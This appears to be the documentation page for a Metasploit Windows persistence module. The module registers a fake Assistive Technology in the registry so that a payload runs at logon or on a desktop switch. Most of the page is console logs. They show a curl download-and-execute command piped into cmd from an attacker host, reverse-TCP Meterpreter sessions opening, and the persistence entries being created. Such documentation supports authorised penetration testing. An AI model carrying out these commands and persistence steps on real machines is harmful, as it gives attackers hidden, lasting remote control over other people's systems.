124 lines
4.4 KiB
Markdown
124 lines
4.4 KiB
Markdown
## Vulnerable Application
|
|
|
|
This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.
|
|
Then it configures the system to launch the AT executable during user logon or desktop switch (such as with
|
|
an admin prived program).
|
|
Requires Windows 8 or higher and administrative privileges.
|
|
|
|
## Verification Steps
|
|
|
|
1. Get session on target with admin/system privs
|
|
2. `use exploit/windows/persistence/assistive_technology`
|
|
3. `set payload <payload>`
|
|
4. `set session <session>`
|
|
5. `exploit`
|
|
6. logon or desktop switch
|
|
7. Get a session
|
|
|
|
## Options
|
|
|
|
### PAYLOAD_NAME
|
|
|
|
Name of payload file to write. Random string as default.
|
|
|
|
### NAME
|
|
|
|
Name of assistive technolog to create. Random string as default.
|
|
|
|
### DESCRIPTION
|
|
|
|
Description of assistive technolog to create. Random string as default.
|
|
|
|
## Scenarios
|
|
|
|
### Windows 10 1909 (10.0 Build 18363)
|
|
|
|
Original Shell
|
|
|
|
```
|
|
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
|
verbose => true
|
|
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
|
lhost => 1.1.1.1
|
|
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
|
|
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
|
|
fetch_command => CURL
|
|
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
|
|
fetch_pipe => true
|
|
resource (/root/.msf4/msfconsole.rc)> set lport 4450
|
|
lport => 4450
|
|
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
|
|
FETCH_URIPATH => w3
|
|
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
|
|
FETCH_FILENAME => mkaKJBzbDB
|
|
resource (/root/.msf4/msfconsole.rc)> to_handler
|
|
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe
|
|
|
|
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
|
|
[*] Payload Handler Started as Job 0
|
|
[*] Fetch handler listening on 1.1.1.1:8080
|
|
[*] HTTP server started
|
|
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
|
|
[*] Adding resource /w3
|
|
[*] Started reverse TCP handler on 1.1.1.1:4450
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
|
|
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
|
|
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
|
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49822) at 2025-12-06 11:57:16 -0500
|
|
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
|
|
[*] Starting interaction with 1...
|
|
|
|
meterpreter > getuid
|
|
Server username: WIN10PROLICENSE\windows
|
|
meterpreter > sysinfo
|
|
Computer : WIN10PROLICENSE
|
|
OS : Windows 10 1909 (10.0 Build 18363).
|
|
Architecture : x64
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 2
|
|
Meterpreter : x64/windows
|
|
meterpreter > background
|
|
[*] Backgrounding session 1...
|
|
```
|
|
|
|
Persistence
|
|
|
|
```
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/assistive_technology
|
|
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
msf exploit(windows/persistence/assistive_technology) > set session 1
|
|
session => 1
|
|
msf exploit(windows/persistence/assistive_technology) > set payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
msf exploit(windows/persistence/assistive_technology) > exploit
|
|
[*] Exploit running as background job 1.
|
|
[*] Exploit completed, but no session was created.
|
|
msf exploit(windows/persistence/assistive_technology) >
|
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
[+] The target appears to be vulnerable. Likely exploitable
|
|
[*] Payload pathname: C:\Users\windows\AppData\Local\Temp\zcazXFGnVovdq.exe
|
|
[*] Creating Assistive Technology EUZXcigpS registry entries
|
|
[*] Setting AT to start during login
|
|
[+] New AT added. Will launch on logon or desktop switch.
|
|
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251206.5751/WIN10PROLICENSE_20251206.5751.rc
|
|
```
|
|
|
|
Trigger (started an admin command prompt)
|
|
|
|
```
|
|
[*] Sending stage (188998 bytes) to 2.2.2.2
|
|
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49826) at 2025-12-06 11:58:10 -0500
|
|
|
|
msf exploit(windows/persistence/assistive_technology) > sessions -i 2
|
|
[*] Starting interaction with 2...
|
|
|
|
meterpreter > getuid
|
|
Server username: WIN10PROLICENSE\windows
|
|
```
|